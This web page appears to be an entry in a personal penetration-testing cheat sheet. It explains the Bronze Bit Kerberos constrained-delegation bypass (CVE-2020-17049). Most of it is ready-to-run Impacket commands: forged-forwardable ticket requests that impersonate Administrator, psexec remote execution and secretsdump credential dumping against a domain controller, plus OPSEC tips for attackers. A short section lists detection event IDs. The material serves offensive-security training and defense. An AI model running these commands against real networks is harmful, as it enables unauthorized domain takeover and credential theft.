AD^:Active Directory

Attack #18 — Bronze Bit Attack (CVE-2020-17049)

The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the…

advancedupdated 2026-08-10Impacket · Mimikatz · Rubeus

🟠 Attack #18 — Bronze Bit Attack (CVE-2020-17049)


📖 How It Works

The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the “sensitive and cannot be delegated” account protection and the Protected Users group restriction — two controls specifically designed to prevent delegation-based impersonation attacks.

The Vulnerability

When a service account with Constrained Delegation performs S4U2Self to get a ticket on behalf of a protected user, the KDC correctly issues that ticket with the forwardable flag unset — preventing S4U2Proxy from working. However, the forwardable flag is stored inside the encrypted portion of the ticket, which is encrypted with the service account’s long-term key. Since the attacker already has the service account’s key (it’s a prerequisite for the attack), they can:

  1. Decrypt the S4U2Self service ticket
  2. Flip the forwardable bit from 0 to 1
  3. Re-encrypt the ticket
  4. Present it to the KDC in an S4U2Proxy request

The KDC sees the forwardable flag is set and processes the delegation request — without re-validating whether the user is actually protected.

Impact

Without Bronze BitWith Bronze Bit
Cannot impersonate users in Protected Users group✅ CAN impersonate Protected Users
Cannot impersonate “sensitive and cannot be delegated” accounts✅ CAN impersonate sensitive accounts
Domain Admins marked sensitive are safe from delegation❌ Domain Admins are vulnerable again

⚙️ Prerequisites

RequirementDetail
Compromised Constrained Delegation accountHash, password, or AES key of a service with CD or RBCD
Target is unpatchedCVE-2020-17049 patches (Dec 2020 / Jan 2021) must NOT be installed on DCs
Target user is “sensitive” or in Protected UsersOtherwise, standard S4U2Proxy works without Bronze Bit

🛠️ Tools

ToolPlatformNotes
Impacket — getST.pyLinux-force-forwardable flag implements Bronze Bit
RubeusWindowsManual ticket manipulation possible
MimikatzWindowsTicket decryption and re-encryption

💻 Full Commands

🔴 Impacket — getST.py with Bronze Bit (Linux)

# ── Standard S4U attack (fails on protected users without Bronze Bit) ─────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  corp.local/svc_constrained:'Password1'
# Error: KDC_ERR_BADOPTION — user is sensitive / in Protected Users

# ── Bronze Bit bypass — force forwardable flag ────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained:'Password1'

# -force-forwardable = decrypts ticket, flips forwardable bit, re-encrypts
# Works even if Administrator is in Protected Users or marked "sensitive"

# ── Using NT hash ─────────────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained

# ── Use the ticket ────────────────────────────────────────────────────────────
export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── RBCD + Bronze Bit combo ───────────────────────────────────────────────────
# If you've set up RBCD (Attack #17) but the target user is protected:
getST.py -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/'FAKEMACHINE$':'FakePass123!'

🎯 OPSEC Tips

  • Bronze Bit only matters on unpatched DCs — Microsoft patched this in late 2020/early 2021
  • Always try standard S4U first — only use -force-forwardable if you get KDC_ERR_BADOPTION
  • Check DC patch level — if the DC is patched, Bronze Bit will fail and you’ll need an alternative approach
  • Bronze Bit + RBCD is a powerful combo — bypasses both the write-permission barrier and the protected-user barrier

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4769Security Log (DC)S4U2Proxy request for a user that should be delegation-protected
4768Security Log (DC)TGT request associated with the constrained delegation account

Primary detection: If a user marked “sensitive and cannot be delegated” or in the Protected Users group successfully authenticates via delegation (Event 4624 with constrained delegation indicators), that’s a Bronze Bit indicator. The DC should have rejected the delegation.


🔗 Attack Chain Context

[Bronze Bit] ──→ Delegation Protection Bypass
         │
         ├──→ 🔓 Bypasses "sensitive and cannot be delegated" flag
         ├──→ 🛡️ Bypasses Protected Users group delegation restriction
         ├──→ 🔗 Chain with: Constrained Delegation (#16), RBCD (#17)
         ├──→ 📋 CVE-2020-17049 — patched Dec 2020 / Jan 2021
         └──→ 💀 Defeated by: patch DCs, monitor for anomalous delegation events

✅ Attack #18 — Bronze Bit complete.


🏁 Category 2 — Kerberos Abuse is now COMPLETE (8/8 attacks).

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.